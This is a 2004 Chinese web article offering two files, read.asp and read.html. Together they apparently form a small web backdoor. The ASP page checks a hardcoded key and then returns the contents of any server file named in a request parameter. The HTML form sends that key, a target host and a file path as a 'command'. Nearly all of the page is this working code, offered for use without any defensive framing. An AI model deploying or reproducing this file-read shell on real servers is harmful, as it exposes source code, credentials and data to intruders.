ADOStream读取文件

==============read.asp==============================

<%
if request("authkey")="pic16f873a" then
%>
<textarea wrap='OFF' style="width:100%;height:100%">
<%
  response.write LoadFile(request("myfile"))
%>
</textarea>
<%  
end if  


Function LoadFile(ByVal File)
Dim objStream
On Error Resume Next
Set objStream = Server.CreateObject("ADODB.Stream")

If Err.Number=-2147221005 Then
  Response.Write "not support!"
  Err.Clear
  Response.End
End If

With objStream
  .Type = 2       'Text   =1 Binary
  .Mode = 3       'ReadWrite =1 Read =2 Write =4 ShareDenyRead
                '=8 ShareDenyWrite =12 ShareExclusive
                '=16 ShareDenyNone =4194304 Recursive
  .Open
  .LoadFromFile Server.MapPath(File)
    If Err.Number<>0 Then
      Response.Write "Cannot Open File."
      Err.Clear
      Response.End
    End If
  .Charset = "GBK"     '"ascii"
  .Position = 2
      LoadFile = .ReadText
  .Close
End With

Set objStream = Nothing
End Function
%>

===========================read.html====================

<HTML>
<HEAD>

<title>upsdn read page</tilte>
<meta http-equiv="Content-Type" content="text/html; charset=gbk">
</HEAD>

<body>
<div align=center>
<FORM method=post name=frm target=_blank>
Host:<input type=text name=act size=65 value="http://">
<br>
<br>
Read From:<input type=text name=myfile size=65 value="\1.asp">
<br>
<br>
<input type=hidden name=authkey value="pic16f873a">
<Input name=Send onclick="Javascipt:frm.action=document.frm.act.value;frm.submit();"
type=button value="Send Command">

</FORM>
</div>

</body></html>

作者:Greg   更新日期:2004-12-30
来源:本站特稿   浏览次数:

相关文章

相关评论   发表评论